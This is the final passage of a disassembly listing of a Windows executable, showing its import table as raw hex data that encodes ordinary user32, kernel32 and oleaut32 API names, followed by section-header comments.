		dd 12354h, 12000h, 12128h, 2 dup(0)
		dd 123FAh, 12038h, 5 dup(0)
		dd 122C0h, 122D0h, 122B2h, 1229Ch, 12284h, 122EEh, 12300h
		dd 12310h, 1231Eh, 12348h, 1233Ch, 12330h, 122E2h, 0
		dd 12372h, 12384h, 1239Ah, 123B0h, 123C2h, 123D6h, 123E6h
		dd 12362h, 0
		dd 12266h, 1225Ah, 1224Ch, 12240h, 12232h, 1221Eh, 1220Eh
		dd 12200h, 121F8h, 121ECh, 121E0h, 121D0h, 121BCh, 121AAh
		dd 1219Ch, 12190h, 0
		dd 73770262h, 6E697270h, 416674h, 68430028h, 6F547261h
		dd 416D654Fh, 460000h, 61657243h, 65446574h, 6F746B73h
		dd 4170h, 72430050h, 65746165h,	5749444Dh, 6F646E69h, 4177h
		dd 65440083h, 6F727473h, 72614379h, 7465h, 7244009Eh, 63497761h
		dd 6E6Fh, 694600C7h, 65526C6Ch,	7463h, 654700EDh, 434474h
		dd 65470119h, 73654D74h, 65676173h, 16A0041h, 68437349h
		dd 6F4C7261h, 41726577h, 17D0000h, 64616F4Ch, 65636341h
		dd 6172656Ch, 73726F74h, 1800057h, 64616F4Ch, 73727543h
		dd 41726Fh, 6F4C0184h, 63496461h, 416E6Fh, 654F01ADh, 436F546Dh
		dd 41726168h, 1FB0000h,	46746553h, 7375636Fh, 22B0000h
		dd 776F6853h, 656E774Fh, 706F5064h, 737075h, 72657375h
		dd 642E3233h, 6C6Ch, 6E450063h,	43726574h, 69746972h, 536C6163h
		dd 69746365h, 6E6Fh, 6E450072h,	65526D75h, 72756F73h, 79546563h
		dd 41736570h, 810000h, 74697845h, 65726854h, 6461h, 724600B5h
		dd 65526565h, 72756F73h, 6563h,	654700C8h, 6D6F4374h, 646E616Dh
		dd 656E694Ch, 1CA0041h,	6E65704Fh, 656C6946h, 1EC0000h
		dd 73696152h, 63784565h, 69747065h, 6E6Fh, 6553022Dh, 646E4574h
		dd 6946664Fh, 656Ch, 6C54026Eh,	74654773h, 756C6156h, 2770065h
		dd 616D6E55h, 65695670h, 46664F77h, 656C69h, 736C02B5h
		dd 61637274h, 4174h, 736C02B9h,	6D637274h, 416970h, 736C02BBh
		dd 70637274h, 4179h, 6E72656Bh,	32336C65h, 6C6C642Eh, 50000h
		dd 61656C43h, 73754372h, 74614474h, 270061h, 4C656C4Fh
		dd 5064616Fh, 75746369h, 6572h,	65520031h, 656B6F76h, 69746341h
		dd 624F6576h, 7463656Ah, 320000h, 65666153h, 61727241h
		dd 63634179h, 44737365h, 617461h, 61530038h, 72416566h
		dd 43796172h, 74616572h, 3C0065h, 65666153h, 61727241h
		dd 73654479h, 796F7274h, 530000h, 46737953h, 53656572h
		dd 6E697274h, 540067h, 52737953h, 6C6C4165h, 7453636Fh
		dd 676E6972h, 6C6F0000h, 74756165h, 642E3233h, 6C6Ch, 0FAh dup(0)
		dd 32000000h, 35313230h, 35h, 201h dup(0)
_idata		ends

; Section 5. (virtual address 00013000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00013000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 413000h
		align 2000h
_idata2		ends


		end start